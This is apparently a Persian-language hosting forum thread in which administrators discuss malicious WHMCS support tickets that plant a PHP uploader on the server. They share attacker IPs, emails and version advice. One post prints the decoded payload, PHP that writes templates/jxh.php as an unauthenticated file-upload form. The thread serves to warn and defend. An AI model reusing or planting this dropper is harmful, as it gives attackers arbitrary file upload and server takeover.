یکی از تیکت های ارسال شده برای من!

با سلام

نقل قول:

---

فقط حواستون باشه که از داخل whmcs این جور تیکت رو باز نکنید! اگر براتون ایمیل هم میشه، مستقیم از بخش تیکت، این تیکت رو قبل از باز کردن پاک کنید.

---

این تیکت وقتی میفرستن اپلودر در هاست ایجاد میشه چه باز کنه چه نکنه به مهض فرستادن اپلودر ایجاد خواهد شد
متاسفانه دوستان خوب راهنمایی نکردن این هک در عرض 5 دقیقه هست یعنی شما تا بفهمید تیکت اومده هکر شل ریخته و هک کرده البته خیلی کم پیدا میشه در جا هک کنه برا خودش دسرسی میسازه برا روز مبادا و دیفیس کردن حتی سرور
اگه از نسخه نال استفاده میکنید یا نمیکنید باید امنیت تو whmcs کامل انجام بدید
باز اگه سوالی بود میتونیدتماس بگیرید
واگه قادر به انجام نیستید میتونیم براتون انجام بدیم

ایمیل ارسال کننده رو هم بن کردم آی پی رو باید از کجا مسدود کنم؟
وقتی میزنم مسدود کردن فرستنده مینویسه:

نقل قول:

---

به روزرساني کنترل اسپم موفق بود
آدرس ايميل به ليست ايميل هاي مسدود شده اضافه شد.

---

188.55.66.249
دومین تیکت
60.48.136.25
ایمیلش
sa@git.sa
mimi@gmail.com

چک کردم نسخه من بروز نبود!

نسخه شما
5.0.3

آخرين نسخه
5.1.2

این کار قدیمی شده.نسخه شما هم پچ شده هست اما بهتره آپگرید کنید

قبلا روزی 7-8 تا از این تیکت ها داشتیم!
آی پی چند کشور مثل عریستان و ویتنام و هند و ... رو با فایروال بستیم تعداد این تیکت ها خیلی کمتر شده
با کدی که شما گذاشتید جوجه هـکر تلاش داشته یک فایل آپلودر در این مسیر بسازه که احتمالا موفق هم نشده: templates/jxh.php

نقل قول:

---

نوشته اصلی توسط mohammad8711

قبلا روزی 7-8 تا از این تیکت ها داشتیم!
آی پی چند کشور مثل عریستان و ویتنام و هند و ... رو با فایروال بستیم تعداد این تیکت ها خیلی کمتر شده
با کدی که شما گذاشتید جوجه هـکر تلاش داشته یک فایل آپلودر در این مسیر بسازه که احتمالا موفق هم نشده: templates/jxh.php

---

در دایرکتوری templates فایلی تحت عنوان jxh.php وجود ندارد

دیکودش این طوری می شه:

کد PHP:

---

$code = 
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
    else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}'
$fo = fopen("templates/jxh.php","w"); 
fwrite($fo,$code); 


---

یه آپلودر می سازه و می تونه هر فایلی رو که خواست روی هاست آپلود کنه

روزی 20 تا از این تیکت ها ما هم داریم